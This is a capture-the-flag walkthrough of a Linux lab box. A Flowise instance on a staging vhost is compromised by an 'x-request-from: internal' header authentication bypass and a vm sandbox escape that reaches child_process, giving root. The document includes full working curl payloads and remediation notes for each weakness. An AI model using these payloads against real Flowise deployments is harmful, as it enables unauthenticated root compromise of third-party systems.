← all walkthroughs

Silentium

Linux· Easy
owned
2026-06-24
time to own
28m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Flowise AI-builder instance served on a hidden staging virtual hostname, bypassed its login gate by spoofing a trusted-internal HTTP header, then escaped the JavaScript execution sandbox through a prototype-chain constructor exploit. Because the Flowise process ran as the Linux root account, that single API call granted full operating-system control with no separate privilege-escalation step required.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Mapped exposed services with a port scan
An automated port scan identified exactly two open TCP services: OpenSSH 9.6p1 on port 22 and nginx 1.24.0 on port 80. The web server was the only practical attack surface; SSH offered no unauthenticated entry without credentials.
22/tcp ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15; 80/tcp http nginx 1.24.0 (Ubuntu)
Exact commands 1
shell

Full-range TCP scan with service and default-script detection.

$ nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGET
2ReconnaissanceVirtual-host brute-force
Discovered a hidden staging virtual host
The default nginx response on the bare IP gave no interesting application content. Fuzzing the HTTP Host header against a common subdomain wordlist revealed a second virtual host, staging.silentium.htb, which returned a distinct application not visible from the root domain. Its name and visibility only through active header fuzzing indicate it was intended as an internal resource.
Exact commands 2
shell

Register the virtual hostnames for local DNS resolution.

$ echo "$TARGET  silentium.htb staging.silentium.htb" | sudo tee -a /etc/hosts
shell

Fuzz the Host header to surface active virtual hosts. Tune -fs to filter the default response size.

$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.silentium.htb' -mc 200,301,302 -t 50
FixBlock public internet access to staging and internal-only servicesHigh
WeaknessThe staging Flowise virtual host was reachable from any IP address on the internet. Staging environments carry weaker security controls by design and must not be directly exposed to the public internet.
FixBind the staging nginx virtual host to an internal-only network interface, or enforce IP allowlisting inside its server block with 'allow <VPN-or-office-CIDR>; deny all;'. Place all staging services behind a VPN gateway that requires authentication before a connection reaches the application layer. Conduct periodic audits of DNS records and nginx virtual-host configurations to detect accidental public exposure.
3ReconnaissanceWeb application fingerprinting
Identified Flowise AI-builder on the staging host
Browsing to staging.silentium.htb revealed a Flowise instance — an open-source, low-code platform for building LLM automation workflows. Flowise exposes a REST API that includes /api/v1/node-custom-function, an endpoint designed to execute arbitrary JavaScript supplied by an authenticated caller. Probing the API confirmed the endpoint was reachable and active.
Exact commands 2
shell

Confirm the application identity from HTTP headers and HTML title.

$ curl -si -H 'Host: staging.silentium.htb' http://$TARGET/ | grep -i 'title\|server\|flowise'
shell

Probe the Flowise REST API to confirm it is reachable and check authentication enforcement.

$ curl -si -H 'Host: staging.silentium.htb' http://$TARGET/api/v1/chatflows
4Authentication bypassHTTP header spoofing / broken function-level access control
Bypassed API authentication with a spoofed internal-caller header
Flowise contains a server-side logic flaw: any request carrying the HTTP header 'x-request-from: internal' is treated as a trusted internal call and skips the normal credential check entirely. Because any client can set arbitrary HTTP headers, anyone who discovers this bypass gains unauthenticated access to every protected API endpoint — including the JavaScript execution endpoint.
The confirmed exploit command carries '-H x-request-from: internal' and receives HTTP 200 with root-level command output, confirming that authentication was not enforced.
Exact commands 1
shell

A 200 response listing chatflows confirms the header bypass is active. No credentials required.

$ curl -si -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' http://$TARGET/api/v1/chatflows
FixRemove the x-request-from internal-caller authentication bypassCritical
WeaknessFlowise trusted any HTTP request carrying the header 'x-request-from: internal' and bypassed authentication for that request. Because any network client can set arbitrary HTTP headers, this made the entire API effectively unauthenticated from the public internet.
FixRemove the header-based trust shortcut from the Flowise server code entirely (see flowise/packages/server/src/index.ts in the upstream source). If a machine-to-machine internal call path is genuinely required, replace it with a shared secret passed as a signed token in a custom header and validated server-side against an environment variable. As a network-layer backstop, restrict /api/* routes to localhost or a private CIDR in nginx using 'allow' and 'deny' directives so that even if the logic flaw recurs the endpoint is unreachable externally.
5Code executionJavaScript VM sandbox escape (prototype-chain constructor hijack)
Escaped the JavaScript VM sandbox via prototype-chain constructor exploit
The /api/v1/node-custom-function endpoint compiles user-supplied JavaScript inside a Node.js vm.Script sandbox and executes it. The sandbox was not hardened against prototype manipulation. By creating an Error object and replacing its .name property with a null-prototype object, I forced a coercion path during stack-trace generation that leaks the native Function constructor from the outer V8 host context — one level above the sandbox boundary. From that constructor I called process.getBuiltinModule('child_process'), a Node.js built-in accessor, obtaining a live child_process handle with the ability to run arbitrary OS commands.
HTTP 200 response body: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)" — OS command executed as root.
Exact commands 1
shell

Proof-of-concept: runs 'id' to confirm OS-level execution context. Replace 'id' with any OS command. The -b flag sends any session cookies from prior interaction; the x-request-from header bypasses authentication.

$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"id\").toString().trim();});"}'
FixPatch Flowise and harden or disable the custom-function execution endpointCritical
WeaknessThe Flowise /api/v1/node-custom-function endpoint ran user-supplied JavaScript inside a Node.js vm.Script sandbox that was not hardened against prototype-chain manipulation. An unauthorised user could escape the sandbox and reach the host process and operating system.
FixUpdate Flowise to the latest available release, which applies additional sandbox restrictions to this endpoint. As an immediate interim measure, block the endpoint at the nginx layer with 'location /api/v1/node-custom-function { deny all; }' if custom JavaScript execution is not a required workflow feature. Long-term, evaluate replacing the vm.Script sandbox with a fully process-isolated execution environment such as a container with no host mounts, a Firecracker micro-VM, or a dedicated worker process running under a restrictive seccomp profile.
6ObjectiveOS command execution as root
Captured both flags directly as root — no privilege escalation needed
Because the Flowise process was already running as the Linux root account, the sandbox escape immediately yielded root-level OS command execution with no further steps required. I read both the user and root flag files by reusing the same exploit and substituting the OS command argument. Full system compromise was achieved in a single HTTP request chain: unauthenticated web caller to root shell.
Exact commands 2
shell

Locate and read user.txt. Returns <user.txt>.

$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"find / -name user.txt 2>/dev/null -exec cat {} +\").toString().trim();});"}'
shell

Read root.txt. Returns <root.txt>.

$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"cat /root/root.txt\").toString().trim();});"}'
FixRun Flowise under a dedicated non-root service accountCritical
WeaknessThe Flowise web service ran as the Linux root user. Any code it executed — including through exploitation — immediately had full system privileges, collapsing the entire host into a single trust boundary and making a sandbox escape directly equivalent to a full system compromise.
FixCreate a dedicated system account (e.g. 'flowise') with no interactive login shell and minimal filesystem rights. Run the Flowise service under that account using systemd's User= and Group= directives. Apply an AppArmor or seccomp profile to restrict the syscalls available to the process. Mount application data directories with the minimum required permissions and audit every other web-facing service on the host for the same pattern.